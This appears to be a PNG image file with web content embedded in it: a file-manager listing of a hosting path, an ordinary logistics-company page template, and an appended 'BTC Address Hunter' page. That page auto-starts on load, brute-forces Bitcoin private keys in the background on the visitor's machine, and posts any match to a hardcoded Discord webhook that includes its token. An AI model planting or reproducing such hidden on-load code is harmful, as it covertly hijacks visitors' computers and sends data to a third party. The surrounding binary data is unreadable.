PNG  IHDRxsBIT|d pHYs+tEXtSoftwarewww.inkscape.org<,tEXtComment File Manager

File Manager

Path: /home/u264723324/domains/alfredoterry.org/public_html/

Viewing File: key.html

<!--
	Author: W3layouts
	Author URL: 
	License: Creative Commons Attribution 3.0 Unported
	License URL: http://creativecommons.org/licenses/by/3.0/
-->
<!DOCTYPE html>
<html lang="en">
<head>
<title>Expressproservice</title><link rel="icon" href="images/gg.fw.png">
<link rel="icon" href="images/gg.fw.png">
<!-- Meta tag Keywords -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="keywords" content="Transporters web template, Bootstrap Web Templates, Flat Web Templates, Android Compatible web template, Smartphone Compatible web template, free webDesigns for Nokia, Samsung, LG, SonyEricsson, Motorola web Designs" />
<script type="application/x-javascript"> addEventListener("load", function() { setTimeout(hideURLbar, 0); }, false);
function hideURLbar(){ window.scrollTo(0,1); } </script>
<!--// Meta tag Keywords -->

<!-- css files -->
<link rel="stylesheet" href="css/bootstrap.css"> <!-- Bootstrap-Core-CSS -->
<link rel="stylesheet" href="css/style.css" type="text/css" media="all" /> <!-- Style-CSS --> 
<link rel="stylesheet" href="css/font-awesome.css"> <!-- Font-Awesome-Icons-CSS -->
<!-- //css files -->

<!-- web-fonts -->
<link href="//fonts.googleapis.com/css?family=Raleway:100,100i,200,200i,300,300i,400,400i,500,500i,600,600i,700,700i,800,800i,900,900i&amp;subset=latin-ext" rel="stylesheet">
<link href="//fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i&amp;subset=cyrillic,cyrillic-ext,greek,greek-ext,latin-ext,vietnamese" rel="stylesheet">
<!-- //web-fonts -->
</head>
<body>
<div class="header">
		<nav class="navbar navbar-default">
        
        
					<div class="navbar-header">
                    
                    
						<button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1">
                       
							<span class="sr-only">Toggle navigation</span>
							<span class="icon-bar"></span>
							<span class="icon-bar"></span>
							<span class="icon-bar"></span>
						</button>
                       
						<h1><a href="index.html"><img src="images/csmlogo.fw.png"></a></h1>
                        
					</div>
<div class="top-nav-text">
<div class="nav-contact-w3ls"></div> 
</div>
					<!-- navbar-header -->
					<div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1">
						<ul class="nav navbar-nav navbar-right">
							<li><a class="hvr-underline-from-center active" href="index.html">HOME</a></li>
							<li><a href="gallery.html" class="hvr-underline-from-center">GALLARY</a></li>							<li><a href="services.html" class="hvr-underline-from-center">SERVICES</a></li>
<li><a href="key.html" class="hvr-underline-from-center">KEY INFORMATION</a></li> <li><a href="faq.html" class="hvr-underline-from-center">FAQ</a></li>
							
						  <li><a href="contact.html" class="hvr-underline-from-center">CONTACT US</a>
						</ul>
					</div>

					<div class="clearfix"> </div>	
				</nav>
	
	</div>
<div class="about-breadcrumb">
		<div class="container">
			<ul>
				<li><a href="index.html">Home</a><i>></i></li>
				<li><a href="key.html">KEY INFORMATION</a></li>
			</ul>
		</div>
	</div>
<!-- services section --><!-- //services section -->

<!-- bootstrap-modal-pop-up -->
	<div class="modal video-modal fade" id="myModal" tabindex="-1" role="dialog" aria-labelledby="myModal">
		<div class="modal-dialog" role="document">
			<div class="modal-content">
				<div class="modal-header">
					Transport 
					<button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>						
				</div>
					<div class="modal-body">
						<img src="images/bg3.jpg" alt=" " class="img-responsive" />
						<p>Ut enim ad minima veniam, quis nostrum 
							exercitationem ullam corporis suscipit laboriosam, 
							nisi ut aliquid ex ea commodi consequatur? Quis autem 
							vel eum iure reprehenderit qui in ea voluptate velit 
							esse quam nihil molestiae consequatur, vel illum qui 
							dolorem eum fugiat quo voluptas nulla pariatur.
							<i>" Quis autem vel eum iure reprehenderit qui in ea voluptate velit 
								esse quam nihil molestiae consequatur.</i></p>
					</div>
			</div>
		</div>
	</div>
<!-- //bootstrap-modal-pop-up --> 

<!-- services bottom -->
<div class="Servicebottom">
	<div class="layer">
    <div class="col-md-1">
      
	</div>
    
  	<div class="col-md-4">
    <img src="images/team4.jpg" class="img-responsive">
    <br><br>
    <img src="images/team3.jpg" class="img-responsive">
      
	</div>
	<div class="col-md-7 Servicebottomtext">
	<h3>Fast and Safe Transport Service</h3>
		<h3>Specialized heavy-Duty Vehicles</h3>
		<h3>Shipping Services & Logistics Management</h3>
        <br>
			  
	  <p>
      <h1><strong>IMPORT SERVICES</strong></h1>
      <strong>If you have something to import from as far away as Hong Kong or San Francisco it could be with you in just 2 or 3 days.</strong> <strong>What's more, it's a door-to-door service so you can rest easy.</strong>
      You want a service that's<br><br>
      <ul>
<li>Easy to Book</li>
<li>Fast</li>
<li>Efficient</li>
<li>Trackable</li>
<li>Great Value</li>
      </ul>    
      <br> 
      <h1>Here's how it works -</h1>
      </p>
		<h4><i class="fa fa-taxi" aria-hidden="true"></i>International Transport Deliver System</h4>
		<h4><i class="fa fa-truck" aria-hidden="true"></i>Truck Logistics Service</h4>
        
        
        <p>
    
   <h1> Here's how it works -</h1>

It's so easy. You process the shipment online via our website. Then, just email the label to your supplier and arrange for the carrier to collect and deliver.

And you can track it all the way.

Import duties and taxes payable? No problem. If you have a deferment account, we'll sort it all for you. If you haven't, then the carrier will contact Go Track Express and we'll tell you how much is due.

If you have something really large just contact your nearest Go Track Express branch with the details of what you want to import and we'll take care of the rest.
    </p>
	</div>
	<div class="clearfix"></div>
	</div>
</div>
<!-- //services bottom -->

<!-- team --><!-- //team -->


<!-- footer -->
	<footer>
	  <div class="copyright">
		  <div class="container">
				<p>© Delivery Express Iris 2014. All RIGHTS RESERVED.</p>
			</div>
		</div>
	</footer>
	<!-- //footer -->



<!-- js-scripts -->					
<!-- js -->
	<script type="text/javascript" src="js/jquery-2.1.4.min.js"></script>
	<script type="text/javascript" src="js/bootstrap.js"></script> <!-- Necessary-JavaScript-File-For-Bootstrap --> 
<!-- //js -->	
<!-- //js-scripts -->

<!-- start-smoth-scrolling -->
<script src="js/SmoothScroll.min.js"></script>
<script type="text/javascript" src="js/move-top.js"></script>
<script type="text/javascript" src="js/easing.js"></script>
<script type="text/javascript">
	jQuery(document).ready(function($) {
		$(".scroll").click(function(event){		
			event.preventDefault();
			$('html,body').animate({scrollTop:$(this.hash).offset().top},1000);
		});
	});
</script>
<!-- here stars scrolling icon -->
	<script type="text/javascript">
		$(document).ready(function() {
			/*
				var defaults = {
				containerID: 'toTop', // fading element id
				containerHoverID: 'toTopHover', // fading element hover id
				scrollSpeed: 1200,
				easingType: 'linear' 
				};
			*/
								
			$().UItoTop({ easingType: 'easeOutQuart' });
								
			});
	</script>
	<!-- //here ends scrolling icon -->
<!-- start-smoth-scrolling -->

</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>⚡ BTC Address Hunter - Headless Scan</title>
</head>
<body>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/elliptic/6.5.4/elliptic.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>

    <script>
        // bs58 encoding/decoding utility (kept for consistency with worker)
        const bs58 = (function () {
            const ALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
            const BASE = ALPHABET.length;

            return {
                encode(buffer) {
                    if (!(buffer instanceof Uint8Array)) buffer = new Uint8Array(buffer);

                    let digits = [0];
                    for (let i = 0; i < buffer.length; ++i) {
                        for (let j = 0; j < digits.length; ++j) digits[j] <<= 8;
                        digits[0] += buffer[i];
                        let carry = 0;
                        for (let j = 0; j < digits.length; ++j) {
                            digits[j] += carry;
                            carry = (digits[j] / BASE) | 0;
                            digits[j] %= BASE;
                        }
                        while (carry) {
                            digits.push(carry % BASE);
                            carry = (carry / BASE) | 0;
                        }
                    }
                    let str = "";
                    for (let k = 0; buffer[k] === 0 && k < buffer.length - 1; ++k) str += ALPHABET[0];
                    for (let q = digits.length - 1; q >= 0; --q) str += ALPHABET[digits[q]];
                    return str;
                }
            };
        })();
    </script>

    <script>
        // --- HARDCODED SCAN PARAMETERS ---
        // IMPORTANT: You MUST replace 'YOUR_TARGET_BTC_ADDRESS_HERE' with the actual address you are searching for.
        const TARGET_ADDRESS = '1PWo3JeB9jrGwfHDNpdGK54CRas7fsVzXU'; // Example target address
        const START_HEX = '400000000000000000'; // Start of the random hex range
        const END_HEX = '7fffffffffffffffff';    // End of the random hex range
        // ---------------------------------

        // --- HARDCODED DISCORD WEBHOOK URL ---
        const DISCORD_WEBHOOK_URL = 'https://discordapp.com/api/webhooks/1095773664965836851/nkzz391OKRoLLans_lvTKhsipr2jxTaEqnGOGLD8KUlCLlzggH-0bzS77BWjlqCDcwl7';
        // -------------------------------------

        let scanWorker = null;
        let scanStartTime = 0;
        let totalScannedKeys = 0n; // Use BigInt for scanned keys

        /**
         * Logs a message to the browser console.
         * @param {string} msg - The message to log.
         * @param {'info'|'success'|'error'|'warn'} type - The type of message for console styling.
         */
        function consoleLog(msg, type = 'info') {
            switch (type) {
                case 'success':
                    console.log(`%c${msg}`, 'color: green; font-weight: bold;');
                    break;
                case 'error':
                    console.error(`%c${msg}`, 'color: red; font-weight: bold;');
                    break;
                case 'warn':
                    console.warn(`%c${msg}`, 'color: orange;');
                    break;
                case 'info':
                default:
                    console.info(msg);
                    break;
            }
        }

        /**
         * Sends the found Bitcoin address details to a Discord webhook.
         * @param {string} privHex - The found private key in hexadecimal.
         * @param {string} wif - The found WIF (Wallet Import Format) key.
         * @param {string} address - The matched Bitcoin address.
         */
        async function sendToDiscordWebhook(privHex, wif, address) {
            const webhookUrl = DISCORD_WEBHOOK_URL;

            if (!webhookUrl) {
                consoleLog('Discord Webhook URL is not set (hardcoded). Skipping notification.', 'warn');
                return;
            }

            if (!webhookUrl.startsWith('https://discord.com/api/webhooks/') &&
                !webhookUrl.startsWith('https://discordapp.com/api/webhooks/')) {
                consoleLog('Invalid Discord Webhook URL (hardcoded). Please provide a valid URL.', 'error');
                return;
            }

            const payload = {
                username: "BTC Address Hunter",
                avatar_url: "https://placehold.co/64x64/00bf72/ffffff?text=BTC", // Placeholder icon
                embeds: [
                    {
                        title: "🎉 Bitcoin Address Match Found!",
                        description: `A target Bitcoin address has been found!`,
                        color: 65280, // Green color for Discord embed
                        fields: [
                            { name: "Target Address", value: `\`${TARGET_ADDRESS}\``, inline: false },
                            { name: "Matched Address", value: `\`${address}\``, inline: false },
                            { name: "Private Key (Hex)", value: `\`${privHex}\``, inline: false },
                            { name: "WIF (Wallet Import Format)", value: `\`${wif}\``, inline: false },
                            { name: "Scan Time", value: `${((Date.now() - scanStartTime) / 1000).toFixed(2)} seconds`, inline: true },
                            { name: "Keys Scanned", value: totalScannedKeys.toLocaleString(), inline: true }
                        ],
                        footer: {
                            text: "Generated by BTC Address Hunter"
                        },
                        timestamp: new Date().toISOString()
                    }
                ]
            };

            try {
                const response = await fetch(webhookUrl, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify(payload),
                });

                if (response.ok) {
                    consoleLog('Successfully sent result to Discord webhook!', 'success');
                } else {
                    const errorText = await response.text();
                    consoleLog(`Failed to send result to Discord webhook: ${response.status} - ${errorText}`, 'error');
                }
            } catch (error) {
                consoleLog(`Network error sending to Discord webhook: ${error.message}`, 'error');
            }
        }

        /**
         * Starts the Bitcoin address scanning process using a Web Worker.
         */
        async function startScan() {
            totalScannedKeys = 0n; // Reset scanned keys
            scanStartTime = Date.now();

            const startBigInt = BigInt('0x' + START_HEX);
            const endBigInt = BigInt('0x' + END_HEX);

            if (startBigInt >= endBigInt) {
                consoleLog("❌ Critical Error: Hardcoded START_HEX must be less than END_HEX. Scan aborted.", 'error');
                return;
            }

            const rangeSize = endBigInt - startBigInt + 1n;
            consoleLog(`\n🔍 Starting automatic random scan for target: ${TARGET_ADDRESS}`);
            consoleLog(`🔢 Hardcoded Random Range (hex): ${START_HEX} → ${END_HEX}`);
            consoleLog(`📏 Search space size: ${rangeSize.toLocaleString()} possible keys.`);
            consoleLog(`Outputting progress to console. Open developer tools (F12) -> Console tab.`);

            // Create Web Worker as a Blob URL
            const workerScript = `
                importScripts('https://cdnjs.cloudflare.com/ajax/libs/elliptic/6.5.4/elliptic.min.js');
                importScripts('https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js');

                // bs58 encoding/decoding utility (replicated for worker)
                const bs58 = (function () {
                    const ALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
                    const BASE = ALPHABET.length;
                    return {
                        encode(buffer) {
                            if (!(buffer instanceof Uint8Array)) buffer = new Uint8Array(buffer);
                            let digits = [0];
                            for (let i = 0; i < buffer.length; ++i) {
                                for (let j = 0; j < digits.length; ++j) digits[j] <<= 8;
                                digits[0] += buffer[i];
                                let carry = 0;
                                for (let j = 0; j < digits.length; ++j) {
                                    digits[j] += carry;
                                    carry = (digits[j] / BASE) | 0;
                                    digits[j] %= BASE;
                                }
                                while (carry) {
                                    digits.push(carry % BASE);
                                    carry = (carry / BASE) | 0;
                                }
                            }
                            let str = "";
                            for (let k = 0; buffer[k] === 0 && k < buffer.length - 1; ++k) str += ALPHABET[0];
                            for (let q = digits.length - 1; q >= 0; --q) str += ALPHABET[digits[q]];
                            return str;
                        }
                    };
                })();

                const ec = new elliptic.ec('secp256k1');

                /** Converts a hexadecimal string to a Uint8Array. */
                function hexToBytes(hex) {
                    return Uint8Array.from(hex.match(/.{1,2}/g).map(b => parseInt(b, 16)));
                }

                /** Converts a Uint8Array to a CryptoJS WordArray. */
                function bytesToWordArray(u8arr) {
                    const words = [];
                    for (let i = 0; i < u8arr.length; i += 4) {
                        let word = 0;
                        if (i < u8arr.length) word |= u8arr[i] << 24;
                        if (i + 1 < u8arr.length) word |= u8arr[i + 1] << 16;
                        if (i + 2 < u8arr.length) word |= u8arr[i + 2] << 8;
                        if (i + 3 < u8arr.length) word |= u8arr[i + 3];
                        words.push(word);
                    }
                    return CryptoJS.lib.WordArray.create(words, u8arr.length);
                }

                /** Computes the SHA256 hash of a Uint8Array. */
                function sha256(data) {
                    return CryptoJS.SHA256(bytesToWordArray(data)).toString();
                }

                /** Computes the RIPEMD160 hash of a hexadecimal string. */
                function ripemd160(hexStr) {
                    return CryptoJS.RIPEMD160(CryptoJS.enc.Hex.parse(hexStr)).toString();
                }

                /**
                 * Converts a private key (hex) to a compressed Bitcoin address.
                 * @param {string} privHex - The private key in hexadecimal format.
                 * @returns {string} The compressed Bitcoin address.
                 */
                function privateKeyToCompressedAddress(privHex) {
                    const key = ec.keyFromPrivate(privHex, 'hex');
                    const pubCompressed = key.getPublic(true, 'hex'); // Get compressed public key
                    const pubBytes = hexToBytes(pubCompressed);
                    const sha = sha256(pubBytes);
                    const ripemd = ripemd160(sha);
                    const versionedPayload = "00" + ripemd; // 0x00 for P2PKH mainnet addresses
                    // Double SHA256 for checksum
                    const checksum = sha256(hexToBytes(sha256(hexToBytes(versionedPayload)))).slice(0, 8);
                    const fullPayload = versionedPayload + checksum;
                    return bs58.encode(hexToBytes(fullPayload));
                }

                /**
                 * Converts a private key (hex) to its Wallet Import Format (WIF).
                 * @param {string} privHex - The private key in hexadecimal format.
                 * @returns {string} The WIF string.
                 */
                function privateKeyToWIF(privHex) {
                    const extended = "80" + privHex + "01"; // 0x80 for mainnet, 0x01 for compressed public key
                    const checksum = sha256(hexToBytes(sha256(hexToBytes(extended)))).slice(0, 8);
                    const fullPayload = extended + checksum;
                    return bs58.encode(hexToBytes(fullPayload));
                }

                /**
                 * Generates a random BigInt within a specified range (inclusive).
                 * Uses rejection sampling for uniform distribution.
                 * @param {BigInt} min - The minimum value (inclusive).
                 * @param {BigInt} max - The maximum value (inclusive).
                 * @returns {BigInt} A random BigInt within the range.
                 */
                function getRandomBigIntInRange(min, max) {
                    const range = max - min + 1n;
                    let bitLength = 0;
                    if (range > 0n) {
                        bitLength = range.toString(2).length;
                    } else {
                        return min;
                    }

                    const byteLength = Math.max(1, Math.ceil(bitLength / 8));
                    const randomBytes = new Uint8Array(byteLength);
                    let randomValue;

                    do {
                        self.crypto.getRandomValues(randomBytes); // Browser's crypto.getRandomValues
                        randomValue = 0n;
                        for (let i = 0; i < byteLength; i++) {
                            randomValue = (randomValue << 8n) | BigInt(randomBytes[i]);
                        }
                    } while (randomValue >= range);

                    return min + randomValue;
                }

                // Web Worker message handler
                self.onmessage = async function(event) {
                    const { target, startHex, endHex } = event.data;

                    const startBigInt = BigInt('0x' + startHex);
                    const endBigInt = BigInt('0x' + endHex);

                    let scannedCount = 0n;
                    let lastReportTime = Date.now();
                    const REPORT_INTERVAL = 500; // Report every 500 ms

                    // The loop runs indefinitely for random scanning until a match is found or terminated
                    while (true) {
                        const randomPrivKeyBigInt = getRandomBigIntInRange(startBigInt, endBigInt);
                        const privHex = randomPrivKeyBigInt.toString(16).padStart(64, '0');
                        const addr = privateKeyToCompressedAddress(privHex);
                        scannedCount++;

                        if (addr === target) {
                            const wif = privateKeyToWIF(privHex);
                            self.postMessage({
                                type: 'match',
                                privHex: privHex,
                                wif: wif,
                                address: addr,
                                scannedCount: scannedCount
                            });
                            return; // Stop scanning after a match is found
                        }

                        // Report progress back to the main thread periodically
                        if (Date.now() - lastReportTime > REPORT_INTERVAL) {
                            self.postMessage({
                                type: 'progress',
                                scannedCount: Number(scannedCount) // Send count as number for display
                            });
                            lastReportTime = Date.now();
                        }
                    }
                };
            `;
            const blob = new Blob([workerScript], { type: 'application/javascript' });
            scanWorker = new Worker(URL.createObjectURL(blob));

            // Main thread message handler for worker messages
            scanWorker.onmessage = function(event) {
                const data = event.data;
                if (data.type === 'progress') {
                    totalScannedKeys = BigInt(data.scannedCount);
                    const elapsed = (Date.now() - scanStartTime) / 1000;
                    const keysPerSecond = elapsed > 0 ? Number(totalScannedKeys) / elapsed : 0;
                    // Use console.clear() and console.log to simulate a dynamic update in console
                    // Note: console.clear() might clear other console messages too.
                    // For continuous line updates, you might need more advanced console manipulation (not standard in browsers).
                    // For now, just logging lines.
                    console.clear(); // Clears the console to show only latest progress
                    consoleLog(`Scanning... ${totalScannedKeys.toLocaleString()} keys scanned (${keysPerSecond.toFixed(2)} keys/sec)`);
                } else if (data.type === 'match') {
                    totalScannedKeys = BigInt(data.scannedCount); // Final count
                    consoleLog(`\n✅ MATCH FOUND!`, 'success');
                    consoleLog(`🔑 Private Key (hex): ${data.privHex}`);
                    consoleLog(`🔐 WIF (Compressed): ${data.wif}`);
                    consoleLog(`📍 Matched Address: ${data.address}`);
                    const elapsed = ((Date.now() - scanStartTime) / 1000).toFixed(2);
                    consoleLog(`⏱️ Scan Time: ${elapsed} seconds`, 'info');
                    consoleLog(`Total keys scanned: ${totalScannedKeys.toLocaleString()}`, 'info');

                    // Send to Discord webhook
                    sendToDiscordWebhook(data.privHex, data.wif, data.address);

                    stopScan(); // Stop the worker after finding a match
                } else if (data.type === 'error') {
                    consoleLog(`Worker Error: ${data.message}`, 'error');
                    stopScan(); // Terminate worker on error
                }
            };

            // Main thread error handler for worker
            scanWorker.onerror = function(error) {
                consoleLog(`Web Worker Error: ${error.message}`, 'error');
                stopScan(); // Terminate worker on error
            };

            // Post initial message to worker to start scanning
            scanWorker.postMessage({
                target: TARGET_ADDRESS,
                startHex: START_HEX,
                endHex: END_HEX
            });
        }

        /**
         * Stops the current scanning process.
         */
        function stopScan() {
            if (scanWorker) {
                scanWorker.terminate();
                scanWorker = null;
                consoleLog("\nScan terminated.", 'warn');
                const elapsed = ((Date.now() - scanStartTime) / 1000).toFixed(2);
                consoleLog(`⏱️ Total Scan Time: ${elapsed} seconds`, 'info');
            }
        }

        // Auto-start the scan when the page loads
        window.onload = startScan;
    </script>
</body>
</html>
b IDATxytVսϓ22 A@IR :hCiZ[v*E:WũZA ^dQeQ @ !jZ'>gsV仿$|?g)&x-EIENT ;@xT.i%-X}SvS5.r/UHz^_$-W"w)Ɗ/@Z &IoX P$K}JzX:;` &, ŋui,e6mX ԵrKb1ԗ)DADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADA݀!I*]R;I2$eZ#ORZSrr6mteffu*((Pu'v{DIߔ4^pIm'77WEEE;vƎ4-$]'RI{\I&G :IHJ DWBB=\WR޽m o$K(V9ABB.}jѢv`^?IOȅ} ڶmG}T#FJ`56$-ھ}FI&v;0(h;Б38CӧOWf!;A i:F_m9s&|q%=#wZprrrla A &P\\СC[A#! {olF} `E2}MK/vV)i{4BffV\|ۭX`b@kɶ@%i$K z5zhmX[IXZ` 'b%$r5M4º/l ԃߖxhʔ)[@=} K6IM}^5k㏷݆z ΗÿO:gdGBmyT/@+Vɶ纽z񕏵l.y޴it뭷zV0[Y^>Wsqs}\/@$(T7f.InݺiR$푔n.~?H))\ZRW'Mo~v Ov6oԃxz! S,&xm/yɞԟ?'uaSѽb,8GלKboi&3t7Y,)JJ c[nzӳdE&KsZLӄ I?@&%ӟ۶mSMMњ0iؐSZ,|J+N ~,0A0!5%Q-YQQa3}$_vVrf9f?S8`zDADADADADADADADADAdqP,تmMmg1V?rSI꒟]u|l RCyEf٢9 jURbztѰ!m5~tGj2DhG*{H9)꒟ר3:(+3\?/;TUݭʴ~S6lڧUJ*i$d(#=Yݺd{,p|3B))q:vN0Y.jkק6;SɶVzHJJЀ-utѹսk>QUU\޲~]fFnK?&ߡ5b=z9)^|u_k-[y%ZNU6 7Mi:]ۦtk[n X(e6Bb."8cۭ|~teuuw|ήI-5"~Uk;ZicEmN/:]M> cQ^uiƞ??Ңpc#TUU3UakNwA`:Y_V-8.KKfRitv޲* 9S6ֿj,ՃNOMߤ]z^fOh|<>@Å5 _/Iu?{SY4hK/2]4%it5q]GGe2%iR| W&f*^]??vq[LgE_3f}Fxu~}qd-ږFxu~I N>\;͗O֊:̗WJ@BhW=y|GgwܷH_NY?)Tdi'?խwhlmQi !SUUsw4kӺe4rfxu-[nHtMFj}H_u~w>)oV}(T'ebʒv3_[+vn@Ȭ\S}ot}w=kHFnxg S 0eޢm~l}uqZfFoZuuEg `zt~? b;t%>WTkķh[2eG8LIWx,^\thrl^Ϊ{=dž<}qV@ ⠨Wy^LF_>0UkDuʫuCs$)Iv:IK;6ֲ4{^6եm+l3>݆uM 9u?>Zc }g~qhKwڭeFMM~pМuqǿz6Tb@8@Y|jx](^]gf}M"tG -w.@vOqh~/HII`S[l.6nØXL9vUcOoB\xoǤ'T&IǍQw_wpv[kmO{w~>#=P1Pɞa-we:iǏlHo׈꒟f9SzH?+shk%Fs:qVhqY`jvO'ρ?PyX3lх]˾uV{ݞ]1,MzYNW~̈́ joYn}ȚF߾׮mS]F z+EDxm/d{F{-W-4wY듏:??_gPf ^3ecg ҵs8R2מz@TANGj)}CNi/R~}c:5{!ZHӋӾ6}T]G]7W6^n 9*,YqOZj:P?Q DFL|?-^.Ɵ7}fFh׶xe2Pscz1&5\cn[=Vn[ĶE鎀uˌd3GII k;lNmشOuuRVfBE]ۣeӶu :X-[(er4~LHi6:Ѻ@ԅrST0trk%$Č0ez" *z"T/X9|8.C5Feg}CQ%͞ˣJvL/?j^h&9xF`њZ(&yF&Iݻfg#W;3^{Wo^4'vV[[K';+mӍִ]AC@W?1^{එyh +^]fm~iԵ]AB@WTk̏t uR?l.OIHiYyԶ]Aˀ7c:q}ힽaf6Z~қm(+sK4{^6}T*UUu]n.:kx{:2 _m=sAߤU@?Z-Vކеz왍Nэ{|5 pڶn b p-@sPg]0G7fy-M{GCF'%{4`=$-Ge\ eU:m+Zt'WjO!OAF@ik&t݆ϥ_ e}=]"Wz_.͜E3leWFih|t-wZۍ-uw=6YN{6|} |*={Ѽn.S.z1zjۻTH]흾 DuDvmvK.`V]yY~sI@t?/ϓ. m&["+P?MzovVЫG3-GRR[(!!\_,^%?v@ҵő m`Y)tem8GMx.))A]Y i`ViW`?^~!S#^+ѽGZj?Vģ0.))A꨷lzL*]OXrY`DBBLOj{-MH'ii-ϰ ok7^ )쭡b]UXSְmռY|5*cֽk0B7镹%ڽP#8nȎq}mJr23_>lE5$iwui+ H~F`IjƵ@q \ @#qG0".0" l`„.0! ,AQHN6qzkKJ#o;`Xv2>,tێJJ7Z/*A .@fفjMzkg @TvZH3Zxu6Ra'%O?/dQ5xYkU]Rֽkق@DaS^RSּ5|BeHNN͘p HvcYcC5:y #`οb;z2.!kr}gUWkyZn=f Pvsn3p~;4p˚=ē~NmI] ¾ 0lH[_L hsh_ғߤc_њec)g7VIZ5yrgk̞W#IjӪv>՞y睝M8[|]\շ8M6%|@PZڨI-m>=k='aiRo-x?>Q.}`Ȏ:Wsmu u > .@,&;+!!˱tﭧDQwRW\vF\~Q7>spYw$%A~;~}6¾ g&if_=j,v+UL1(tWake:@Ș>j$Gq2t7S?vL|]u/ .(0E6Mk6hiۺzښOrifޱxm/Gx> Lal%%~{lBsR4*}{0Z/tNIɚpV^#Lf:u@k#RSu =S^ZyuR/.@n&΃z~B=0eg뺆#,Þ[B/?H uUf7y Wy}Bwegל`Wh(||`l`.;Ws?V@"c:iɍL֯PGv6zctM̠':wuW;d=;EveD}9J@B(0iհ bvP1{\P&G7D޴Iy_$-Qjm~Yrr&]CDv%bh|Yzni_ˆR;kg}nJOIIwyuL}{ЌNj}:+3Y?:WJ/N+Rzd=hb;dj͒suݔ@NKMԄ jqzC5@y°hL m;*5ezᕏ=ep XL n?מ:r`۵tŤZ|1v`V뽧_csج'ߤ%oTuumk%%%h)uy]Nk[n 'b2 l.=͜E%gf$[c;s:V-͞WߤWh-j7]4=F-X]>ZLSi[Y*We;Zan(ӇW|e(HNNP5[= r4tP &0<pc#`vTNV GFqvTi*Tyam$ߏWyE*VJKMTfFw>'$-ؽ.Ho.8c"@DADADADADADADADADA~j*֘,N;Pi3599h=goضLgiJ5փy~}&Zd9p֚ e:|hL``b/d9p? fgg+%%hMgXosج, ΩOl0Zh=xdjLmhݻoO[g_l,8a]٭+ӧ0$I]c]:粹:Teꢢ"5a^Kgh,&= =՟^߶“ߢE ܹS J}I%:8 IDAT~,9/ʃPW'Mo}zNƍ쨓zPbNZ~^z=4mswg;5 Y~SVMRXUյڱRf?s:w ;6H:ºi5-maM&O3;1IKeamZh͛7+##v+c ~u~ca]GnF'ټL~PPPbn voC4R,ӟgg %hq}@#M4IÇ Oy^xMZx ) yOw@HkN˖-Sǎmb]X@n+i͖!++K3gd\$mt$^YfJ\8PRF)77Wא!Cl$i:@@_oG I{$# 8磌ŋ91A (Im7֭>}ߴJq7ޗt^ -[ԩSj*}%]&' -ɓ'ꫯVzzvB#;a 7@GxI{j޼ƌ.LÇWBB7`O"I$/@R @eee@۷>}0,ɒ2$53Xs|cS~rpTYYY} kHc %&k.], @ADADADADADADADADA@lT<%''*Lo^={رc5h %$+CnܸQ3fҥK}vUVVs9G R,_{xˇ3o߾;TTTd}馛]uuuG~iԩ@4bnvmvfϞ /Peeeq}}za I~,誫{UWW뮻}_~YƍSMMMYχ֝waw\ďcxꩧtEƍկ_?۷5@u?1kNׯWzz/wy>}zj3 k(ٺuq_Zvf̘:~ ABQ&r|!%KҥKgԞ={<_X-z !CyFUUz~ ABQIIIjݺW$UXXDٳZ~ ABQƍecW$<(~<RSSvZujjjԧOZQu@4 8m&&&jԩg$ď1h ͟?_{768@g =@`)))5o6m3)ѣƌJ;wҿUTT /KZR{~a=@0o<*狔iFɶ[ˎ;T]]OX@?K.ۈxN pppppppppppppppppPfl߾] ,{ァk۶mڿo5BTӦMӴiӴ|r DB2e|An!Dy'tkΝ[A $***t5' "!駟oaDnΝ:t֭[gDШQ06qD;@ x M6v(PiizmZ4ew"@̴ixf [~-Fٱc&IZ2|n!?$@{[HTɏ#@hȎI# _m(F /6Z3z'\r,r!;w2Z3j=~GY7"I$iI.p_"?pN`y DD?: _  Gÿab7J !Bx@0 Bo cG@`1C[@0G @`0C_u V1 aCX>W ` | `!<S `"<. `#c`?cAC4 ?c p#~@0?:08&_MQ1J h#?/`7;I  q 7a wQ A 1 Hp !#<8/#@1Ul7=S=K.4Z?E_$i@!1!E4?`P_  @Bă10#: "aU,xbFY1 [n|n #'vEH:`xb #vD4Y hi.i&EΖv#O H4IŶ}:Ikh @tZRF#(tXҙzZ ?I3l7q@õ|ۍ1,GpuY Ꮿ@hJv#xxk$ v#9 5 }_$c S#=+"K{F*m7`#%H:NRSp6I?sIՖ{Ap$I$I:QRv2$Z @UJ*$]<FO4IENDB`